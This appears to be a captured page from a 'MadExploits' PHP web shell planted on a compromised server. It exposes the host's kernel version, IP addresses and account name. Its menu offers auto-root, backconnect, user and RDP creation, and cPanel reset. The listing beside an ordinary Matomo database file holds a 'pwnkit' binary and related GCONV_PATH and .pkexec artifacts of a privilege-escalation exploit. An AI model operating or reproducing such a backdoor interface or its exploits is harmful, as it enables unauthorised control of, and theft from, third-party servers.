Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.22.242.84
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
Db /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Adapter
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Schema
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Adapter.php
4.74
KB
-rw-r--r--
AdapterInterface.php
1.31
KB
-rw-r--r--
BatchInsert.php
11.24
KB
-rw-r--r--
Schema.php
4.78
KB
-rw-r--r--
SchemaInterface.php
2.45
KB
-rw-r--r--
Settings.php
872
B
-rw-r--r--
TransactionLevel.php
2.99
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TransactionLevel.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik\Db; use Piwik\Db; use Piwik\Option; class TransactionLevel { const TEST_OPTION_NAME = 'TransactionLevel.testOption'; private $statusBackup; /** * @var \Piwik\Tracker\Db|\Piwik\Db\AdapterInterface|\Piwik\Db $db */ private $db; /** * @param \Piwik\Tracker\Db|\Piwik\Db\AdapterInterface|\Piwik\Db $db */ public function __construct($db) { $this->db = $db; } public function canLikelySetTransactionLevel() { $dbSettings = new Db\Settings(); return strtolower($dbSettings->getEngine()) === 'innodb'; } public function setUncommitted() { if ($this->db->supportsUncommitted === false) { // we know "Uncommitted" transaction level is not supported, we don't need to do anything as it won't work to set the status return false; } try { $backup = $this->db->fetchOne('SELECT @@TX_ISOLATION'); } catch (\Exception $e) { try { $backup = $this->db->fetchOne('SELECT @@transaction_isolation'); } catch (\Exception $e) { $this->db->supportsUncommitted = false; return false; } } try { $this->db->query('SET SESSION TRANSACTION ISOLATION LEVEL READ UNCOMMITTED'); $this->statusBackup = $backup; if ($this->db->supportsUncommitted === null) { // the first time we need to check if the transaction level actually works by // trying to set something w/ the new transaction isolation level Option::set(self::TEST_OPTION_NAME, '1'); } $this->db->supportsUncommitted = true; } catch (\Exception $e) { // setting the transaction level status did not work // catch eg 1665 Cannot execute statement: impossible to write to binary log since BINLOG_FORMAT = STATEMENT and at least one table uses a storage engine limited to row-based logging. InnoDB is limited to row-logging when transaction isolation level is READ COMMITTED or READ UNCOMMITTED $this->db->supportsUncommitted = false; $this->restorePreviousStatus(); return false; } return true; } public function restorePreviousStatus() { if ($this->statusBackup) { $value = strtoupper($this->statusBackup); $this->statusBackup = null; $value = str_replace('-', ' ', $value); if (in_array($value, array('REPEATABLE READ', 'READ COMMITTED', 'SERIALIZABLE'))) { $this->db->query('SET SESSION TRANSACTION ISOLATION LEVEL '.$value); } elseif ($value !== 'READ UNCOMMITTED') { $this->db->query('SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ'); } } } }
Close